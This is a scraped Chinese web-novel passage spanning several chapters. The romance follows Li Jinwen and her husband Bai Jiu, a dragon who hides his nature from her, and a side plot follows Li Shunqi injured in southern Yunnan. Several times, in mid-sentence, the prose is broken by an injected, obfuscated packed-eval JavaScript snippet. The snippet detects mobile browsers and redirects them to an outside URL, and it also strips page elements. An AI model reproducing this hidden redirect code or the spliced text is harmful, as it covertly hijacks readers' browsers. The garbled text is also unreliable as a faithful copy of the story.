李锦闻扒着他的手腕,拉下他的手,叹声抱怨:“都怪这天气太热了,回来的路上,太阳又很晒,我感觉自己都要化成水了。” 其实也还好,热归热,夏日里不热就该请神仙了,但李锦闻在亲近之人面前,总是习惯把麻烦夸大。 从前只有在阿姐面前会这样,因为阿姐会心疼她,如今,白九也一样。 “化成水?”白九觉得这个比喻很是奇怪,但听起来又格外奇妙。 如果娘子化成水……而他是龙,那娘子就可以浸润他,柔软地将他裹缚其间……但他也很喜欢身为人形的娘子,可以实实在在地抱他,亲他。 “你在想什么?”李锦闻跟他抱怨,本来是想得到几句安慰的,可白九那不同寻常的思维,又不知绕成了什么形状,她一路归家的那股燥意又浮了上来。 白九的思绪被她拉回,若有所思道:“这天气确实很热,若是下雨,是不是会凉快很多?” 他的语气一下子变得分外认真,李锦闻都被他带偏了:“总不能日日下雨吧?雨停了,还是会热的。” 白九却说:“日日下雨,倒也可以。” 李锦闻被他郑重其事的模样逗笑了:“说得好像你可以控制一样。不过,日日下雨可不成,会发山洪的,到时候得有多少人丧命。” “而且,下雨会起泥,泥点子很容易弄脏袍子,不舒服。” “好吧,娘子。”白九用指背轻轻蹭了蹭她的脸,笑道,“我记下了。” 李锦闻不懂他又记下了什么,但眼前和她说话的人实在有趣,她便抬手揉了揉他的头。 白九的目光追随着她上移的手,忽然看见了不甚明显的一点红。他伸手捉住了李锦闻纤细的手腕,将那只手拉到眼前检查。 “娘子受伤了?怎么弄的?” 李锦闻本来都忘记了这个小伤口,白九这一问,她才想起来。午间储悦舒本来给她包扎好了的,后来她嫌闷,何况只是破了点皮,并不严重,就把纱布给拆了。 如今,那伤口上已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468846|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经快结痂了。 “今日有个女学生的父亲来闹事,我拿木盆挡他,只是那盆太粗糙,就划了个口子。”李锦闻隐瞒了她将木盆掰成两半的事。她的力气忽然变大,暂时也不明缘由,她不想让白九知道,也是怕他多心。 “那人简直不配为人父,竟然要将女儿卖给那张员外做续弦。张员外都奔四十里去了,且相貌丑陋,听说还爱喝酒打人,他从前那位娘子便是不堪忍受自尽了,他还有个十岁的小女儿,痴傻不能言语,也是幼时被他打成这样的。” 她本来只是想以此转移话题,可越说越气,也忍不住多骂了几句:“忒个不是人,照君——就是那女学生,顶有灵性的一个姑娘,可惜命途多舛,砸在这么个爹的手中。唉,悦舒打算托山长帮她打一打门路,保这姑娘顺顺利利进京。只是这几日得防着些,那人今日在书院吃了瘪,恐怕过两日还要去找麻烦。” 她说话时,白九一直低着头,捧着她带伤的那只手,拇指在她虎口附近来回摩挲。李锦闻见他不言语,以为自己方才说得太难听,吓到了他。毕竟成亲还不到半个月,她在白九面前都还算温柔恭谨,哪怕偶尔恼怒,也是小女儿姿态,有调-情的意思在。 白九如今很是活泼可爱,喜欢对着她撒娇,这些都建立在她的温柔面目之上。若是对方渐渐发觉自己脾性并没有想象中的那么好,为人也不够柔软,被她唬住了,不再这样对她了,那岂不是少了很多乐趣。 她正思量着怎么圆回来,白九却开口了:“娘子以后不要跟人硬碰了,好不好?” 他声音很沉,透着明显的担忧,李锦闻瞬间就心软了,她为自己辩解着:“我没有与他硬碰硬。” 白九抬眼,露出那双浅棕色的眸子。 “而且我是正当地躲他,总不能站在那里等着被人推搡吧?而且最后我还把他给砸——”李锦闻只看见白九在自己的解释里红了眼圈,一时大意,险些又将自己搬起大石头砸人的事迹抖落出来,就临时改了话头,“吓跑了。我告诉他,我们已经报官了,在学堂闹事的人,可是要挨板子的。” 白九也不知道有没有听懂她在说什么,还是拉着她不放手。李锦闻看着他这副模样,心里暖洋洋的,任谁感受到被人在意,都会欢喜的。 于是她亲了亲他。 白九眨了眨眼,道:“真想一直跟着娘子,保护娘子。” 李锦闻失笑,轻声哄他:“哪有这样的?若是整日黏在一处,再恩爱的夫妻都要相看两相厌了。” 白九的神情有几分落寞,显然是对这个说法很失望。李锦闻只好转移他的注意力:“我饿了,你不是答应给我做清风三虾么?这菜麻烦,再晚些,我们可就吃不上晚饭了。” 好在白九足够听她的话,乖乖出堂屋进了厨房。 —————— 龙族和人族在身体上差异很大,龙族强健,力大无穷。人族与龙族生育的子女,若是人族,也会承袭龙族身体强健的特征。但他们的后代不会继承这个特点。 ——《人族豢养手记》 8. 揉进骨血 白九在厨房里忙活,夕阳垂垂,洒下万千金光。小黄蹲在院里舔毛,见李锦闻出来,高傲地一甩头颅,背过脸去,不打算再逢迎这只见色忘猫的两脚咪。 李锦闻一出来,只见肥嘟嘟的大橘猫昂起头,迎着金光眯着眼睛,整只猫都被暖融融的阳光包裹起来,连胡子都变成了根根分明的金丝,看起来很是富态。 小黄当然不知道,它兀自怪罪的两脚咪根本没察觉出它的气愤。李锦闻跑到猫咪身边,蹲下来抚了抚它头顶上柔软的猫,猫咪坚定不移地生气,也不看她。 李锦闻轻声唤了一声“咪咪”,又去挠小猫咪的下巴。 天知道被挠下巴有多舒服,小黄在李锦闻不知道的地方,私下原谅了她一点点。李锦闻看着小黄舒服得眯起眼睛,又撸了一把小黄毛茸茸的背。 白九已经把今日逮回来的虾处理干净,动作利索地起锅烧油,又切好了配菜。小黄一早就闻见了厨房里鱼虾的腥味儿,可惜白九太狡猾,把那河虾盖进锅台里,还用石头压住锅盖。橘猫力气太小,根本推不开,暗自踅摸了一下午,却只能闻闻味儿。 此刻,李锦闻挡着太阳光,小黄灵机一动,彻底放下它那高贵的猫格,“喵喵喵”地开始跟李锦闻撒娇。它一边叫着,一边引李锦闻往厨房去,好在眼前这个人族很聪明,瞬间明白了她的意思。 “我们小黄鼻子很灵呀。”李锦闻一边逗它,一面跟着它走到厨房门口。 小黄讨厌厨房里那条龙,就停在门口,跳上台阶,冲着里头闻闻,又跳回李锦闻脚边,再夹着嗓子“喵喵”两声。 李锦闻被它哄得开心,便看向白九,代不会说话的小猫说:“九郎,小猫饿了,给它些虾吃。” 白九有意提防李锦闻身边的一切灵族,当然,未开灵智的小动物也不能放过。它实在是想故意刁难一下小猫的,可是李锦闻唤他“九郎”。 她又唤他九郎。 白九在人间走了那么多年,专门观察人族夫妇间是如何相处的。人族女子以类似的称呼呼唤自家夫君,往往带着撒娇的意思。 李锦闻平日里爱叫他全名。若是唤他九郎,除了偶尔打趣逗他,便常常是在床榻上。 每每他抵达最深处,李锦闻就会断断续续叫他“九郎”。 算了,看在娘子的面子上,今日暂且就不为难小猫了。 白九单独用一只小碟子,给小黄夹了几只虾仁。小黄得到心心念念的零嘴儿,立刻躲到一边独自享用起来。 李锦闻转头,看见小猫背对着自己,把新得的虾仁护得一丝不露,脑袋上下一点一点的,早把给它食物的人抛在脑后。 她极轻地笑了一声,评价:“过河拆桥。” 白九闻言抬头看向她。 感受到他投来的目光,李锦闻自动解释道:“这小黄用完就扔,拿了吃的就不理人了。” 白九眨了眨眼,趁机跟过来,进谗言:“那娘子也把它扔了好不好?还有我陪在娘子身边,我永远不会对娘子过河拆桥。” 李锦闻转过脸来,上身微微后倾,一手搭在白九的肩上,略带笑意地上下打量他:“我怎么觉得,夫君总在跟小猫争宠呢?” 白九被戳中了,有些心虚地挪开目光。李锦闻侧身,始终保持与他对着脸的位置,追逐他的眼睛。 白九见躲闪不过,索性耍赖,从背后揽着她,黏黏糊糊地说:“娘子再对我好一点,比对小猫好一万倍,这样我就考虑考虑容忍小黄。” 李锦闻转身,站到台阶上,借着这个高度,堪堪与白九齐平。她轻轻挑起对方的下巴,恍若开悟:“原来九郎是嫌我对你不够好啊……” 她假模假样地歪头思索着:“可是……我也是头一回成婚啊,不知夫妻相处怎样才算合适。” 白九显然被“头一回”三个字拿捏了,立即追问:“娘子莫非还想有第二回、第三回?” 李锦闻笑起来,提醒:“你的汤开了哦。” 说罢,她跑到菜园子边上,检查白九近日的劳动成果。 豆角长得很饱满,黄瓜都还嫩,细细小小的,带着一点恰到好处的弧度,挂在藤上,就连茄子都白白胖胖的,模样儿很顺溜。 李锦闻转头望了一眼白九,又看了看已经吃饱喝足正昏昏欲睡的小黄,觉得这日子很不错。 她甚至生出了一丝的贪恋,希望永远维持这样平静的生活。不管什么龙骨了,也不要再回京城。朝廷如何,没有眼前的一切重要,也不如白九带给她的安宁重要。 不过,这种念头也只出现了那么一瞬间。她想想阿姐,想起从小照顾、教导她的先生和嬷嬷们,叹息一声。 享受安逸,不属于现在的她。 她心情起伏,目光落到眼前地面上。暮色冥冥,已经给眼睛蒙上了一层黑纱。李锦闻余光瞥见地上有一根花花绿绿的东西。 哪来的花绳? 她再定睛瞧去,那花绳忽而动了一下,随后蜿蜒地向前游移。 什么见鬼的花绳!李锦闻吓得跳起来,那分明是一条蛇! 白九听见院中的尖叫声,连勺子都没来得及放下,人就已经冲到她身边来了。 “有蛇!”李锦闻死死抓住他的手臂,撇开脑袋,指着地面。 白九头一回见她对什么东西如此恐惧,赶忙安抚她,随后将勺子递到她手中,自己追出门,处理那条蛇去了。 李锦闻起了一身的鸡皮疙瘩,站在原地一动不动,脑子里总忍不住想象那冰凉的东西爬到自己身上。 只是想一想,都会浑身发抖。 过了一会儿,白九从门外回来了,单手揽上她的腰,哄道:“我已经把它弄走了,它绝对不敢再回来的,娘子不怕。” 李锦闻轻轻点头,一边任他搀扶着往屋里走,一边说:“我最怕蛇,那种全身滑溜溜又冰又凉,还会缠在人身上的东西最吓人了。” 李锦闻的情绪好了一点,白九的心却越来越沉。 滑溜溜又冰又凉,会缠在人身上…… 龙不就是这样的吗? 无非是比蛇多了几只爪子。 白九和李锦闻坐到屋里,他心里翻来倒去建设了一番,才试探着开口,问:“只要是长这个样子的,娘子都不喜欢,是吗?” 李锦闻:“多瘆人啊。” 白九又问:“万一它不伤人,还很友好呢?” 李锦闻果断道:“受不了。” 白九:“就没有例外吗?” 李锦闻很残忍:“若不是连看都看不了一点,恨不得一棍子敲死。” 白九愈发心惊胆战。 李锦闻乱撞的心脏已经回到胸腔里,缓过来之后,她才发现白九已经追问了好几句,甚至还颇有些遗憾的意思,于是她狐疑地盯着白九,道:“你怎么问这么多?莫非你喜欢蛇?” 白九下意识否认:“当然不是!” 说完,他又泄了气。 看来一定要瞒好了自己的身份,不然,李锦闻就不要他了。 “嗯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468847|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李锦闻看出他神情落寞,轻声质疑。 “我是在想,娘子这辈子总不可能在哪里都遇不到蛇,若能帮娘子克服恐惧,就可以——” “不要再提那东西了!” “好好好,不提了。我明日就去找些驱虫的药,往院子周围撒上,保准日后家里不会再出现任何娘子不喜欢的东西!” 在李锦闻这里,给她提出解决方案就是最好的安抚。她果真舒缓了态度,白九也揭过这茬,去厨房端来饭菜,用清风三虾彻底转移了李锦闻的注意。 白九的手艺极好,清风三虾做得很有卖相。但李锦闻发现,这道菜其实与寻常的虾没什么区别,无非是摆出来漂亮,做起来更麻烦。 从前在宫宴上,众人将这道菜夸上了天。说是专门从南边请来的厨子,如何备菜,如何费心,如何稀罕,李锦闻和阿姐这样“格外受宽恕”的罪人之后,都没有享用的资格。 后来她到了南边,才发现,这里普通的富商也可以在有名一点的酒楼里点上这么一道菜。当年宴席上,达官贵人们的夸耀好似成了刻意卖弄逢迎的笑话。 今天有人专门为她做了这道菜,她亲尝过后,更觉得并没有那样神乎其神。 清风三虾并没有想象中那么好,只是京城路远,从南边去的厨子成了宝贝,南边的特色也成了珍奇。再加上这道菜实在麻烦,更成了那高位上的人津津乐道的特权。 “麻烦”好像等同于“费心”,争来争去,众人也只是在争一个“值得费心”的特权。 不过,白九费心一场,哪怕李锦闻对这道菜失望,也表现得很喜欢。 再怎么说,也得对得起白九对她的用心。 至夜,李锦闻不知怎么回事,又想起白日里那条蛇来。夜里寂静昏暗,本就容易将情绪放大。李锦闻横竖睡不着,就转过身来,拍了拍身边的人。 “九郎,我忘不了那叫人害怕的东西。” 身边传来一阵窸窸窣窣的动静,白九贴上来,吻在她鬓边。李锦闻轻轻转过脸,对方的吻就落在了她眉上。 缱绻而温和,像是无声又炙热哄慰。 李锦闻总能在白九身上感到一种极致的反差。他与她相处,时常单纯到近乎幼稚。可是他在生活上又显得过分老练,无微不至地照顾她,很贴心。 他偶尔莽撞,就像现在这样。即便他的吻缠绵柔和,也无法遮掩激烈的欲望,好像每一次接触,都要做到极致的严丝合缝。 每每这个时候,李锦闻都招架不住,可又忍不住抱紧他。共振令他们几乎将对方揉进骨血里。 李锦闻很喜欢这样的白九,她并不羞于承认,只有激烈到近乎偏执的占有,才足以点燃她,拉她沉沦。 可是白九稍微显出强硬的苗头后,就会暴露出柔软的不安感,从而变成一个需要被安慰的人。 “娘子……阿锦永远不会抛弃我,对吗?” 他的头埋在她颈间,密密麻麻啄她肩上的软肉,声音也变得很闷很闷。李锦闻上身被他靠得太紧,险些支撑不住,只得向后仰着。她的精力早已涣散,喉咙里只能发出细碎的应答声。 “不会……不会抛下九郎的。” 李锦闻最后睡得很沉。 白九待身侧之人睡熟之后,轻手轻脚地穿好衣服,满眼柔情地看了李锦闻一会儿,才起身,顶着夜色,目光沉沉地出门了。 —————— 没有什么是比被人抛弃更可怕的事。 ——《人族豢养手册》 9. 雨季将至 李锦闻向来睡得沉,几乎都是一觉到天明。可今夜里,她并未做梦,却没由来地睁开了眼。 屋里一片漆黑,连月光也不见踪迹。李锦闻眯着惺忪的睡眼,翻了个身,习惯性往身边靠,可却没能如往常一样,钻进那个熟悉的怀抱。 她伸出手,往旁边摸去,被褥已经凉了。 李锦闻在黑暗中彻底睁开眼,清醒过来。 白九确实不在身边。 李锦闻眨了眨眼,视线在屋里逡巡一圈,黑黢黢的房间里,只能看清家具的轮廓。 夜很寂静,李锦闻缓缓坐起来,拢了拢身上被白九换过的内衫,下床,掌灯。 她心里不住纳罕,白九这大半夜里出门了么? 李锦闻寻思了一下,披上外衫,举起灯烛,正欲出门查看,却听院中传来一阵急切的脚步声,接着是竹帘打在门框上的动静。 白九进屋了。 “娘子怎么醒了?”他快步上前,要接过她手里的灯。 “这么晚了,你出门了吗?”李锦闻感受到他身上来自山间露水的湿气,问道。 白九举着灯,放回桌子上,解释:“我看娘子心里总不踏实,就去院子周围撒了些驱虫的药粉,以后都不会有蛇虫出没了。” 李锦闻心下疑惑,又问:“你不是说明日才去买药吗?” 白九根本没撒药,也不必去买那劳什子药,以他龙族的修为,若需驱赶蛇虫,在院子周围划上一道禁制即可。 这些肯定不能和李锦闻说,于是他顿了顿,偏头看着烛火,编了个理由:“我方才入睡前忽然想起,有一友人,擅长研制奇药,就去他家里碰了碰运气,没想到真有。不过他是个更夫,白日里睡觉,不许人打搅,我只好趁着夜色赶了个来回。” “这样啊……”李锦闻接受了这个说法,叮嘱他,“你出门也不提盏灯,看得清路么?以后莫要夜里出去了,山中容易碰着野兽,多危险。” 白九笑盈盈称是,“我带了火折子,心里有数。不过娘子说得对,我日后不会晚上出门了。” 李锦闻得到了保证,不再追问他。 “行了,快睡觉吧,待会儿天该明了。” 想来白九驱虫的法子很是管用,后面的几天里,家中连蚊子都几乎不见踪迹,李锦闻很是满意。 自她无意间和白九抱怨过一次天热之后,第二日,她就收到了一件特殊的凉衫。 白九说,他家中有一种特殊技艺,用冰丝水线勾织成布匹,裁成薄衫,贴身穿着便可抵御酷暑。做成帷帽,还可挡住曝晒。 李锦闻本不抱有太大期待,毕竟一件衣服而已,终是裹在人身上的,还能自个儿生凉不成?无非是比普通的布料更透气一些罢了。 可她穿了两日后,这衣裳却真的跟会发凉一般。贴在身上,如同泡在清爽的山泉中,竟一点也觉不出夏日的炎热了。 储悦舒日日热得直流汗,静坐也消不了酷暑,她一面扇扇子,一面疑惑地看着李锦闻安之若素的模样,不禁陷入了深深的怀疑。 都说心静自然凉,李锦闻的心,竟一点都不燥的吗? 李锦闻觉出这凉衫的奇异之处,回家后询问白九:“你们家做的凉衫着实好,我从前自以为见多识广,也未曾见识过如此奇妙的物件。这是你家里代代相承的手艺么?若是卖给帝京那帮达官显贵,岂不是富可敌国了?” 白九顺着她的话往下编:“确实是旁支族人的绝技,不过,个中细节,族人也未曾告知过。” 李锦闻点了点头,表示理解:“也是,这么奇异的物件,想来也是秘密,不会轻易告知旁人。” 身体凉快下来,李锦闻心里的躁气自然也就消了,连带着在学堂授课都更为耐心。 连着好几日,储悦舒都在帮刘照君张罗进京的事,刘父倒是没再来书院闹事。她们估摸着,大概是刘父觉得书院人多势众,自己一个年过五旬的老人掀不起什么浪花,便消停下来。 但他毕竟是刘照君的亲生父亲,且不是个好打发的。储悦舒便留了个心眼儿,使了一招声东击西,向外放出传言,说半个月后要送刘照君南下投奔母家的远房亲戚,暗地里提前七日就已经把刘照君送上了前往京城的官道。 这本来是防备着刘父在女儿离开前横加阻拦,结果,刘照君离开的第二日午后,厨娘王婶就急匆匆进来,跟众人讲了一件诡事。 “李先生、储小姐!不得了啦!” 彼时李锦闻无事,正与储悦舒切磋书画,闻言长眉一蹙,撂下画笔。 储悦舒倒了一盏茶,递给王婶。 王婶接下却没喝,啪地一下放在桌上,道:“那老赌鬼——就是刘姑娘那不做人的父亲,掉下山崖,摔死了!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468848|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 屋里二人俱是一惊,李锦闻问道:“好端端的,怎么摔死的?” 储悦舒也生了疑惑:“是今日摔死的,还是有几日了?” “李先生京城来的,有所不知。储小姐长在这里,想必知道些。咱们这山里,要是摔死个人,那还能有好儿?” 王婶压低了声音,表情很膈应:“啧,被人发现的时候,早叫野兽吃得不剩什么了。” 她没再往下说,毕竟二人都是读书人,又是年轻姑娘,落在山里的尸身如何凄惨,恐不忍细听。 李锦闻不解:“既如此,何出诡事之言?” 王婶瞪着眼,神神秘秘地说:“他死的时候,怀里抱着一兜子珠宝,听说那珍珠个个圆润饱满,还有个碗口那么大的夜明珠呢!” 储悦舒:“莫非是偷窃后逃命,不慎跌落山崖?” 王婶摇了摇头:“咱这地方,哪有人家中存放这么多财宝?听他邻居说,前几日他神气得很,吹嘘自己夜里见着了真龙,还说他要发财了,以后去凤凰城当老爷!” “真龙?”李锦闻垂眸,最近她翻看地方志,其中倒有那么几页提到过愈苍山所谓的真龙,记载当真神乎其神。 只是,底细如何,还需再行探查。 王婶唏嘘道:“嗐,他这人也是罪有应得。年轻的时候就不学好,赌钱打架,把他老娘气死了。后来他挥霍媳妇嫁妆,人家受不了他,带着孩子跟他和离。如今他又打起女儿的算盘来,得亏现在死了,不然日后还不知怎么找茬呢!” 储悦舒沉思了一会儿,道::“还好照君已经走了,就当不知此事。待她顺利抵达京城后,我再修书一封告知她,日后的亲缘也就到此为止了。” 王婶也不再提刘父之事,她倚着墙,抬头望了一眼外头的烈日,道:“这几天越来越闷,看来要下雨。” 储悦舒深有所感:“下雨也好,这天气烤得人实在难受。” 王婶扇着扇子,转向李锦闻,提醒:“哎,李先生头一年在愈苍山过夏天吧?这几日趁着天晴,赶快把该晒的晒晒,该洗的也尽快洗一洗!咱们这边雨季可长,雨能连着下上半个多月!” 李锦闻抬起头:“雨季要来了?” —————— 人族极易被蛊惑,而部分龙族恰好有蛊惑人心的能力。 ——《人族豢养手记》 10. 出师不利 滇南,烛宁。 李舜齐悠悠转醒,恍惚间听见远处有人语声,像是两个男人,一老一少。两句话后,又似有一妇人插嘴。她意识混沌,辨不清几人谈话的内容,可三人的声音刻意压得很低,切切察察的,平白营造出一股诡谲隐秘之感。 李舜齐试图强迫自己清醒过来。 她武功极高,内力深厚,生生拉扯自己的神经,才睁开双眼。 入目的一切都模模糊糊的。李舜齐好不容找回手脚上的知觉,轻轻动了动。外头的人似乎极敏锐,察觉到她已经醒来,遂止了交谈。 因着方才强行催动内力,李舜齐脑袋里嗡嗡作响,急需静坐缓解。可眼下她顾不了太多,周围的一切都令她感到不适,李舜齐心里无端升起一股强烈的恐慌感。 她扶着额角,偏头瞧见自己的刀就放在床头的小案上,遂探身去够。 房被人从外面推开,一个身修体长的男人踏进门来。 “咚”地一声闷响,李舜齐从榻上滚下来,案上的刀也被她撞落在地。 男人一进门就见此情景,顿时焦急道:“你这人,怎么刚醒就驱动内力?看看自己都伤成什么样了,还要不要命!” 李舜齐这一摔,清醒了不少。方才席卷全身的那股诡异的恐慌竟消减了大半,她单手撑着地面,尝试起身,却发现自己根本就使不上力气—— 这种感觉有点像被下了软筋散。 她防备地看向身前的男人,对方不顾她不善的眼神,强硬地将她抱回床上,还好心地替她捡起刀,撂在手边。 李舜齐将刀握在手心,总算踏实了一点,她不动声色地环顾屋内的陈设,问:“这是何处?” 男人转到屏风后面,答:“是我家。” 李舜齐看着屏风后的人影,并未放下戒心:“你又是何人?” 男人端着一个药箱返回,举着箱子在她眼前晃了晃,示意:“我是个郎中。” 李舜齐还想说话,男人却靠过来,一手伸向她的胸口,李舜齐立即抬手挡住,冷声道:“你干什么?” 男人莫名其妙地笑了一声:“我干什么?你都伤成这样了,我还能做什么?我说姑娘,是我的麻沸散太管用了,还是你真的不知道疼?” 李舜齐这才循着他手指的方向低头,看见自己胸口上洇了一大片红。 是鲜血。 可她的确感觉不到一丝疼痛,除了浑身麻软无力…… 原来使不上力气,不是中了软筋药,而是这个江湖郎中给她用了麻沸散。 “啧,看来是用得过量了。”江湖郎中转过身去,自顾自打开药箱子,捣鼓出一堆瓶瓶罐罐,接着说,“我还是头一回遇见你这样的伤患,能救回来,已是祖宗显灵!” 他说话间,一个年长的妇人从外头进来。妇人身材矮小,行动却敏捷。她端着一盆热水,盆沿搭着一条布巾。妇人将铜盆放在长桌上,又从郎中手里接过调制好的药剂。 二人交换了一个眼神,男人就出去了。 妇人留下来给李舜齐换药,重新包扎好伤口。全程约莫一炷香的时间,妇人安静得好像一株草木,一句话也不说,连呼吸都轻得几不可闻。 李舜齐总觉得这里的一切透着一股难言的古怪。眼前这妇人看上去虽一副老实面相,却叫人觉得不好亲近。李舜齐尝试与她搭话:“婆婆,这到底是何处?” 那妇人手上的动作停了一瞬,掀起眼皮看了她一眼,眼里没有丝毫情绪。 妇人没出声,快步出门,李舜齐注意到,那妇人步伐的频率很奇怪,每一步像是精心测量好的,距离相同,以至于行走间出奇平稳,如同脚下生轮。 李舜齐遭了冷待,却浑不在意,百无聊赖地躺回床上。 现下也没个人,她方才忘记问那江湖郎中自己晕了多久,也不知时辰。她晕倒前,本来是要寻先祖墓的入口,结果在一片林子里迷了路。 滇南多瘴气,李舜齐出师不利,中了毒,还误触了机关,胸口上直接漏了个血洞。 那江湖郎中看着虽不靠谱,但话说得没错,她这条命能保下来的确得感谢先祖了。 李舜齐心里一阵惆怅,都说君子不立于危墙之下,她如今亲自出来追寻先祖遗迹,不仅连先祖墓上的一块砖都没找到,自己就先被危墙坍塌的碎石砸个半死。 如今看来,她这一身伤得先养上个把月才成。 她脑袋里乱哄哄的,许是麻沸散还在奏效,便昏昏沉沉入睡了。她这一觉睡得极不踏实,几乎每隔半个时辰就要醒一次,梦里不是出宫前的那一场大火,就是路途奔波下的疲惫,要不然就是一直在找东西,可细细思索,又始终想不起自己在找什么。 某一个混沌的间隙,李舜齐又听见门外三人切切查查的谈话声。 一个苍老的男人问:“你真能确定她就是主上在等的人吗?” 似乎是那江湖郎中的声音答:“主上自己恐怕都不能一眼认出来,我又怎么敢打包票。” “那你还这么上心。” “宁可错认,不能错过。何况,我们的时间不多了。” 老妪出声道:“我看她就不像,虚弱成那样,不是传说有龙脉的人都强健无比么?” “都这么多代了,血脉之说准不准还得另说。” 苍老的男人语调细微,落进屋里人的耳中,变得断断续续的:“那怎么办,如今主上未归……先看紧……” “放心,我还有个法子试她。” “你是说……” “嗯,左右我这里没多少能给人治病的药,若那东西有效,正好验证了我的猜测。若不是,那便是她的造化。” 李舜齐很想仔仔细细思量一下他们这番话里的玄机,可惜她太困,也太虚弱,很快又睡了过去。 * 愈苍山下的闷热已经持续了六七日,李锦闻虽有凉衫,免去了暑热折磨,却终究躲不过大雨前的闷气。 天地之间仿佛像一口要炸开的热锅,明明是旷野,却始终叫人喘不上气。 是日书院旬休,李锦闻一觉睡到了午时。白九已不在屋里,她平躺着愣了一会儿神,才慢吞吞起身。 她梳妆时,瞧见妆台上有一只没见过的小坛子,遂伸手拿过来端详。坛子里是乳白色的膏体,李锦闻将其凑在鼻尖轻嗅,膏体泛着淡淡的清香,但似乎不是花香,像是一种清冽的、幽异的、类似晨间河水一样的气味。 很熟悉,尾调有点像白九身上的气味。但他身上的气息没这么浓烈,更清澈,也不带那种妖冶的异香。 她将坛子放下,开始慢悠悠地梳头。白九轻手轻脚进门来,似乎是以为她还在睡。直到他掀开里屋的竹帘,第一眼下意识望向床榻,没看见人,动作才恢复如常。 “这是你买的头油吗?”李锦闻指着方才的小瓷坛,笑问。 白九快步来到她身后,道:“我看你之前那一瓶用完了,就顺路买了新的。你试试这一款好不好用,若是好,以后我负责给娘子买,咱们专用这个。” 李锦闻与他相处久了,发现这人大多数时间都将想法写在脸上,很容易读懂。比如现在,她不难猜出,这款新头油想必是白九花心思查过之后,知道好用才买给她的。 因为她曾经抱怨过上次随意买的头油效果一般,还不好存放。 白九总是这般细致的。她曾经感慨过院子里种不了花,但她又很喜欢鲜花,于是白九会专门为她从山上采花,由是她常能收到漂亮且鲜艳的花朵。 前几日,白九摘来的花很漂亮,看上去就不普通,想必是耗费了很大心思才寻来的。 她曾向白九抱怨天气热,白九就送了凉衫给她。白九似乎会将她的每一句话放在心上,也会关心与她有关的任何一件小事。 李锦闻常会被白九的这些细节打动。 她眉眼含笑,通过镜子看着身后正为她梳头的人。白九生得很俊朗,他神情冷淡的时候,应该会是一副拒人于千里之外的模样,可李锦闻没见过他冷冰冰的样子。 白九在他面前从来都是温和乖巧的,无论怎么惹都不会恼,无论如何指使都不会不耐心。 他不高兴了,顶多会拉着李锦闻的手,或者倚在李锦闻的肩上,委屈巴巴地抱怨一句。可抱怨完了,依旧会言听计从。 没办法,李锦闻就吃这一套。 白九给李锦闻梳了一个简单的发髻,所有青丝尽数盘起来,露出她纤细挺拔的脖颈。她右颈侧有一颗小痣,是那洁白光滑的颈上唯一的点缀。有这一颗痣,恰到好处地中和了她身上过分的素。 用过午饭后,李锦闻坐在门口消食。阳光曝晒,院子里的菜都无精打采地蔫巴着脑袋,最爱晒太阳的小黄也躲在树荫里乘凉,阿狐卧在自己的小窝里睡得正香。李锦闻觉得太阳实在刺目,便起身去了隔壁阿婆的屋里。 “阿婆,愈苍山下有什么传说吗?”李锦闻心里想着龙骨的事,她这些日子一直在研读地方志,发现上面关于灵异之事还真有很多真真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看得出,这样的衣袍不是平时穿的,于是问:“这是什么?” 白九将最后一件衣服放进衣柜,转身介绍:“这是水文衫,防水的,专门下雨天穿。往前就要到雨季了,这个时节的天气说变就变,雨也是说来就来。这水文衫不沉,娘子日后去书院就把它放在褡裢里,若碰着下雨,可拿出来穿上。” 李锦闻披上水文衫试了试,大小正合她的身量,这衣服从后头看像个斗篷,巨大的兜帽罩在头上,帽檐垂下来几乎能遮住半张脸。 “这看着比蓑衣好用多了。”李锦闻道。 白九见她高兴,也有几分小得意:“当然比蓑衣好,不然怎么敢拿来给娘子啊。” 李锦闻:“这也是你家做的么?” 白九没有否认,也没过多解释水文衫的来历。待李锦闻脱下后,就叠好给她放进了明日要背的褡裢里。 愈苍山的天气很能证明白九的话没错,这水文衫隔天就用上了。 李锦闻下值时,太阳还火辣辣地照着,待她出了书院,不知何处起了一阵风,天空忽然阴沉下来。 李锦闻抬头望了一眼近在咫尺的天幕,加快了脚步。 天愈发昏沉,周遭的一切似乎都泛着黄,像古旧书页的颜色,天上的云愈发低垂,风一阵一阵的。 